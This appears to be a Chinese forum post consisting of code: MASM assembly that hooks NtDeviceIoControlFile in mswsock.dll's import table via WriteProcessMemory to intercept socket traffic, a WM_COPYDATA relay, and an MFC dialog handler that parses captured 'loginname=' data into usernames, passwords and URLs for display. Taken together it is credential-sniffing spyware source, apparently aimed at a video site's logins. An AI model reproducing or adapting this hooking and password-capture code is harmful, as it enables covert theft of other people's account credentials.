万卷图书 - Powered by Discuz! Board

LOCAL cpd:COPYDATASTRUCT
mov cpd.dwData,0
push [edi].len
pop cpd.cbData
push [edi].buf
pop cpd.lpData
invoke SendMessage,hWinMain,WM_COPYDATA,NULL,addr cpd

复制代码

_HookDeviceIoControl proc
LOCAL @hMod
LOCAL @btw
LOCAL @import
LOCAL @count
mov @count,0
;获取模块起始地址
invoke GetModuleHandle,offset szMswsock
.if !eax
ret
.endif
mov @hMod,eax
pushad
mov esi,eax
assume esi:ptr IMAGE_DOS_HEADER
movzx eax,[esi].e_magic
.if (eax != IMAGE_DOS_SIGNATURE)
ret
.endif
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
mov eax,[esi].Signature
.if (eax != IMAGE_NT_SIGNATURE)
ret
.endif
mov esi,[esi].OptionalHeader.DataDirectory[8].VirtualAddress
.if !esi
ret
.endif
add esi,@hMod
assume esi:ptr IMAGE_IMPORT_DESCRIPTOR ;esi指向了第一个导入表
;循环处理每一个导入表
.while [esi].OriginalFirstThunk || [esi].TimeDateStamp || \
[esi].ForwarderChain || [esi].Name1 || [esi].FirstThunk
mov edx,@hMod
add edx,[esi].Name1
invoke lstrcmp,edx,offset szNtDll
.if eax == 0
mov @import,esi ;导入表RVA
.break
.endif
add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
.endw
;当前为ntdll的导入表
mov esi,[esi].OriginalFirstThunk
add esi,@hMod ;esi当前指向IMAGE_THUNK_DATA结构数组
assume edx:ptr IMAGE_IMPORT_BY_NAME
.while esi
.if esi & IMAGE_ORDINAL_FLAG32
.else
mov edx,@hMod
add edx,dword ptr [esi]
invoke lstrcmp,addr [edx].Name1,offset szNtDeviceIoControlFile
.if eax == 0
mov esi,@import
mov esi,[esi].FirstThunk
add esi,@hMod
mov eax,sizeof IMAGE_THUNK_DATA
mul @count
add esi,eax
mov eax,dword ptr [esi]
mov lpNtDeviceIoControl,eax
mov eax,offset NewNtDeviceIoControlFile
mov lpNewNtDeviceIoControl,eax
mov ImportNtDeviceIoControl,esi
;写入自己程序的地址进行跳转
invoke WriteProcessMemory,hCurProc,esi,offset lpNewNtDeviceIoControl,sizeof dword,addr @btw
.break
.endif
.endif
add esi,4
mov eax,@count
add eax,1
mov @count,eax
.endw
assume edx:nothing
assume esi:nothing
popad
ret
_HookDeviceIoControl endp

复制代码

BOOL CTuDouDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
// TODO: Add your message handler code here and/or call default
char buf[8192];
char name[512];
char pwd[512];
char url[512];
memset(buf,0,sizeof(buf));
memset(name,0,sizeof(name));
memset(pwd,0,sizeof(pwd));
memset(url,0,sizeof(url));
memcpy(buf,pCopyDataStruct->lpData,10);
//判断头部数据
if(0 == strcmp(buf,"loginname="))
{
int lenBuf;
int len;
memset(buf,0,sizeof(buf));
memcpy(buf,pCopyDataStruct->lpData,pCopyDataStruct->cbData);
//解析用户名
for (len=0,lenBuf=10;;len++,lenBuf++)
{
if (buf[lenBuf]=='&')
{
lenBuf+=10;
break;
}
if (buf[lenBuf]=='%')
{
name[len]='@';
lenBuf+=2;
continue;
}
name[len]=buf[lenBuf];
}
//解析密码
for(len=0;;len++,lenBuf++)
{
if (buf[lenBuf]=='&')
{
lenBuf++;
break;
}
pwd[len]=buf[lenBuf];
}
//解析其他数据
int tempLen = pCopyDataStruct->cbData - lenBuf;
for(len=0;len<tempLen;len++,lenBuf++)
{
url[len]=buf[lenBuf];
}
CListCtrl* pList = (CListCtrl*)GetDlgItem(IDC_LIST);
int item = pList->InsertItem(0,name);
pList->SetItemText(item,1,pwd);
pList->SetItemText(item,2,url);
}
return CDialog::OnCopyData(pWnd, pCopyDataStruct);
}

复制代码